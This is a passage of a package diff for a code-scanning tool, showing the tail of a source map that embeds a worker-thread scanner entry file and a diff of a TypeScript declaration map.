oBACH,OAAO,GAAG,YAAY,CAAC,GAAG,EAAE,MAAM,CAAC,CAAC;gBACtC,CAAC;gBAAC,MAAM,CAAC;oBACP,UAAU,IAAI,CAAC,CAAC;oBAChB,SAAS;gBACX,CAAC;gBACD,IAAI,CAAC,OAAO,CAAC,YAAY,IAAI,CAAC,cAAc,CAAC,GAAG,CAAC,IAAI,aAAa,CAAC,OAAO,CAAC,EAAE,CAAC;oBAC5E,eAAe,IAAI,CAAC,CAAC;oBACrB,SAAS;gBACX,CAAC;gBACD,YAAY,IAAI,CAAC,CAAC;gBAClB,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;gBACvB,QAAQ,CAAC,IAAI,CACX,GAAG,UAAU,CACX,GAAG,EACH,OAAO,EACP,IAAI,EACJ;oBACE,MAAM,EAAE,OAAO,CAAC,MAAM;oBACtB,MAAM,EAAE,OAAO,CAAC,MAAM;oBACtB,IAAI,EAAE,OAAO,CAAC,IAAI;iBACnB,EACD,OAAO,CAAC,aAAa,CACtB,CACF,CAAC;YACJ,CAAC;YAED,IAAI,CAAC,WAAW,CAAC;gBACf,KAAK,EAAE,GAAG,CAAC,KAAK;gBAChB,KAAK,EAAE,YAAY;gBACnB,MAAM,EAAE,EAAE,QAAQ,EAAE,YAAY,EAAE,UAAU,EAAE,eAAe,EAAE;aAChE,CAAC,CAAC;QACL,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,IAAI,CAAC,WAAW,CAAC;gBACf,KAAK,EAAE,GAAG,CAAC,KAAK;gBAChB,KAAK,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC;aACxD,CAAC,CAAC;QACL,CAAC;IACH,CAAC,CAAC,CAAC;AACL,CAAC","sourcesContent":["/**\n * Worker-thread entry for {@link scanParallel}. Built to `dist/scan-worker.js`\n * and spawned by `parallel.ts`. Each worker reads its assigned files and runs\n * the SAME pure detector pipeline as the serial scan (`detectFile`), returning\n * `{ findings, filesScanned }` per chunk. No shared mutable state.\n *\n * This file performs side effects (wires up message handlers) only when it is\n * actually running inside a worker thread, so importing it from the main thread\n * (e.g. for coverage) is harmless.\n */\nimport { readFileSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { parentPort, workerData } from \"node:worker_threads\";\n\nimport type { Finding } from \"./types.js\";\nimport { defaultRegistry } from \"./registry.js\";\nimport { detectFile } from \"./scan.js\";\nimport { looksMinified } from \"./walk.js\";\nimport { isManifestFile } from \"./dependencies.js\";\n\ninterface WorkerToggles {\n  source: boolean;\n  config: boolean;\n  deps: boolean;\n  scanMinified: boolean;\n  disabledRules?: string[];\n}\n\ninterface ChunkRequest {\n  index: number;\n  files: string[];\n}\n\nif (parentPort) {\n  const data = (workerData ?? {}) as { baseDir: string; toggles: WorkerToggles };\n  const baseDir = data.baseDir;\n  const toggles = data.toggles;\n  const dets = defaultRegistry.all();\n  const port = parentPort;\n\n  port.on(\"message\", (req: ChunkRequest) => {\n    try {\n      const findings: Finding[] = [];\n      let filesScanned = 0;\n      let unreadable = 0;\n      let skippedMinified = 0;\n      const scannedNames: string[] = [];\n\n      for (const rel of req.files) {\n        const abs = path.join(baseDir, ...rel.split(\"/\"));\n        let content: string;\n        try {\n          content = readFileSync(abs, \"utf8\");\n        } catch {\n          unreadable += 1;\n          continue;\n        }\n        if (!toggles.scanMinified && !isManifestFile(rel) && looksMinified(content)) {\n          skippedMinified += 1;\n          continue;\n        }\n        filesScanned += 1;\n        scannedNames.push(rel);\n        findings.push(\n          ...detectFile(\n            rel,\n            content,\n            dets,\n            {\n              source: toggles.source,\n              config: toggles.config,\n              deps: toggles.deps,\n            },\n            toggles.disabledRules,\n          ),\n        );\n      }\n\n      port.postMessage({\n        index: req.index,\n        files: scannedNames,\n        result: { findings, filesScanned, unreadable, skippedMinified },\n      });\n    } catch (err) {\n      port.postMessage({\n        index: req.index,\n        error: err instanceof Error ? err.message : String(err),\n      });\n    }\n  });\n}\n"]}

package/dist/scan.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"scan.d.ts","sourceRoot":"","sources":["../src/scan.ts"],"names":[],"mappings":"AAcA,OAAO,KAAK,EAAE,QAAQ,EAAE,OAAO,EAAE,WAAW,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AAY7E;;;;;;GAMG;AACH,eAAO,MAAM,SAAS,EAAE,QAAQ,EAAqB,CAAC;AAEtD,8EAA8E;AAC9E,wBAAgB,eAAe,CAAC,CAAC,EAAE,OAAO,EAAE,CAAC,EAAE,OAAO,GAAG,MAAM,CAI9D;AAOD;;;;GAIG;AACH,wBAAgB,UAAU,CACxB,IAAI,EAAE,MAAM,EACZ,OAAO,EAAE,MAAM,EACf,IAAI,EAAE,SAAS,QAAQ,EAAE,EACzB,OAAO,EAAE;IAAE,MAAM,EAAE,OAAO,CAAC;IAAC,MAAM,EAAE,OAAO,CAAC;IAAC,IAAI,EAAE,OAAO,CAAA;CAAE,EAC5D,aAAa,CAAC,EAAE,SAAS,MAAM,EAAE,GAChC,OAAO,EAAE,CA6BX;AAED;;;;GAIG;AACH,wBAAsB,IAAI,CAAC,OAAO,EAAE,WAAW,GAAG,OAAO,CAAC,UAAU,CAAC,CAmIpE;AAED;;;;;;;;;GASG;AACH,wBAAgB,sBAAsB,CACpC,KAAK,EAAE,SAAS,MAAM,EAAE,EACxB,OAAO,EAAE,IAAI,CAAC,WAAW,EAAE,SAAS,GAAG,SAAS,CAAC,GAChD,MAAM,EAAE,CAmBV"}
+{"version":3,"file":"scan.d.ts","sourceRoot":"","sources":["../src/scan.ts"],"names":[],"mappings":"AAcA,OAAO,KAAK,EAAE,QAAQ,EAAE,OAAO,EAAE,WAAW,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AAuB7E;;;;;;GAMG;AACH,eAAO,MAAM,SAAS,EAAE,QAAQ,EAAqB,CAAC;AAEtD,8EAA8E;AAC9E,wBAAgB,eAAe,CAAC,CAAC,EAAE,OAAO,EAAE,CAAC,EAAE,OAAO,GAAG,MAAM,CAI9D;AAOD;;;;GAIG;AACH,wBAAgB,UAAU,CACxB,IAAI,EAAE,MAAM,EACZ,OAAO,EAAE,MAAM,EACf,IAAI,EAAE,SAAS,QAAQ,EAAE,EACzB,OAAO,EAAE;IAAE,MAAM,EAAE,OAAO,CAAC;IAAC,MAAM,EAAE,OAAO,CAAC;IAAC,IAAI,EAAE,OAAO,CAAA;CAAE,EAC5D,aAAa,CAAC,EAAE,SAAS,MAAM,EAAE,GAChC,OAAO,EAAE,CA8BX;AAED;;;;GAIG;AACH,wBAAsB,IAAI,CAAC,OAAO,EAAE,WAAW,GAAG,OAAO,CAAC,UAAU,CAAC,CA0IpE;AAED;;;;;;;;;GASG;AACH,wBAAgB,sBAAsB,CACpC,KAAK,EAAE,SAAS,MAAM,EAAE,EACxB,OAAO,EAAE,IAAI,CAAC,WAAW,EAAE,SAAS,GAAG,SAAS,CAAC,GAChD,MAAM,EAAE,CAmBV"}